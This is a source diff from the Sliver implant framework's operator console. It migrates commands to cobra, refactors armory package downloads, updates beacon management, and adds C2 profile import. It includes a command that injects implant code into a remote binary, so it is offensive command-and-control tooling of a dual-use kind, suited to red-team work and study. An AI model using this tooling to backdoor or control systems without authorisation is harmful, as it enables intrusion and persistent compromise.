||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -329,7 +261,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
@@ -343,14 +275,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -360,13 +285,7 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
@@ -380,31 +299,27 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
|
||||
// Setup dummy auth here as the non-api endpoints don't support the Authorization header
|
||||
noAuth := &assets.ArmoryConfig{
|
||||
Authorization: "",
|
||||
}
|
||||
body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
@@ -417,18 +332,10 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
@@ -498,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
|
||||
client := httpClient(clientConfig)
|
||||
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
if len(extraHeaders) > 0 {
|
||||
for key := range extraHeaders {
|
||||
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
|
||||
}
|
||||
}
|
||||
if armoryConfig.Authorization != "" {
|
||||
req.Header.Set("Authorization", armoryConfig.Authorization)
|
||||
}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
return resp, body, err
|
||||
}
|
||||
|
||||
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
|
||||
downloadHdr := http.Header{
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
return body, err
|
||||
}
|
||||
@@ -21,19 +21,22 @@ package armory
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
|
||||
rawNameExpr := args[0]
|
||||
// rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
|
||||
@@ -19,20 +19,21 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
@@ -69,7 +70,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
data, err := os.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -92,7 +93,7 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
data, err := os.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -19,36 +19,39 @@ package backdoor
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remoteFilePath := ctx.Args.String("remote-file")
|
||||
remoteFilePath := args[0]
|
||||
if remoteFilePath == "" {
|
||||
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
profileName, _ := cmd.Flags().GetString("profile")
|
||||
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -19,26 +19,26 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
killFlag, _ := cmd.Flags().GetString("kill")
|
||||
killAll, _ := cmd.Flags().GetBool("kill-all")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
@@ -47,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
err = kill.KillBeacon(beacon, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -63,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
err = kill.KillBeacon(beacon, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -72,18 +72,20 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
filter, _ := cmd.Flags().GetString("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
filterRegex, err = regexp.Compile(filterRe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -129,6 +131,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
@@ -165,6 +168,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
|
||||
@@ -20,7 +20,6 @@ package beacons
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
@@ -28,6 +27,7 @@ import (
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -44,7 +44,9 @@ var (
|
||||
|
||||
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
|
||||
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -101,7 +103,9 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
|
||||
}
|
||||
|
||||
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -109,7 +113,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
|
||||
return nil, ErrNoBeacons
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
if beacon.ID == beaconID {
|
||||
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
|
||||
return beacon, nil
|
||||
}
|
||||
}
|
||||
@@ -117,7 +121,9 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
|
||||
}
|
||||
|
||||
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -19,25 +19,28 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsPruneCmd - Prune stale beacons automatically
|
||||
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
duration, _ := cmd.Flags().GetString("duration")
|
||||
pruneDuration, err := time.ParseDuration(duration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -59,7 +62,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
|
||||
for index, beacon := range pruneBeacons {
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
@@ -75,7 +78,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
errCount := 0
|
||||
for _, beacon := range pruneBeacons {
|
||||
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
errCount++
|
||||
|
||||
@@ -19,20 +19,21 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -24,13 +24,14 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
@@ -57,7 +58,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
done := make(chan bool, 1)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
|
||||
@@ -23,16 +23,17 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -0,0 +1,437 @@
|
||||
package c2profiles
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/exp/slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// C2ProfileCmd list available http profiles
|
||||
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if profileName == constants.DefaultC2Profile {
|
||||
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
|
||||
return
|
||||
}
|
||||
if len(httpC2Profiles.Configs) != 1 {
|
||||
profileName = selectC2Profile(httpC2Profiles.Configs)
|
||||
}
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintC2Profiles(profile, con)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
filepath, _ := cmd.Flags().GetString("file")
|
||||
if filepath == "" {
|
||||
con.PrintErrorf("Missing file path\n")
|
||||
return
|
||||
}
|
||||
|
||||
overwrite, _ := cmd.Flags().GetBool("overwrite")
|
||||
|
||||
// retrieve and unmarshal profile config
|
||||
jsonFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
byteFile, _ := io.ReadAll(jsonFile)
|
||||
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
|
||||
err = json.Unmarshal(byteFile, config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
|
||||
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
|
||||
|
||||
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
|
||||
httpC2Headers := []*clientpb.HTTPC2Header{}
|
||||
pathSegments := []*clientpb.HTTPC2PathSegment{}
|
||||
|
||||
// files
|
||||
for _, poll := range config.ImplantConfig.PollFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
||||
IsFile: true,
|
||||
SegmentType: 0,
|
||||
Value: poll,
|
||||
})
|
||||
}
|
||||
|
||||
for _, session := range config.ImplantConfig.SessionFiles {
|
||||
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
|
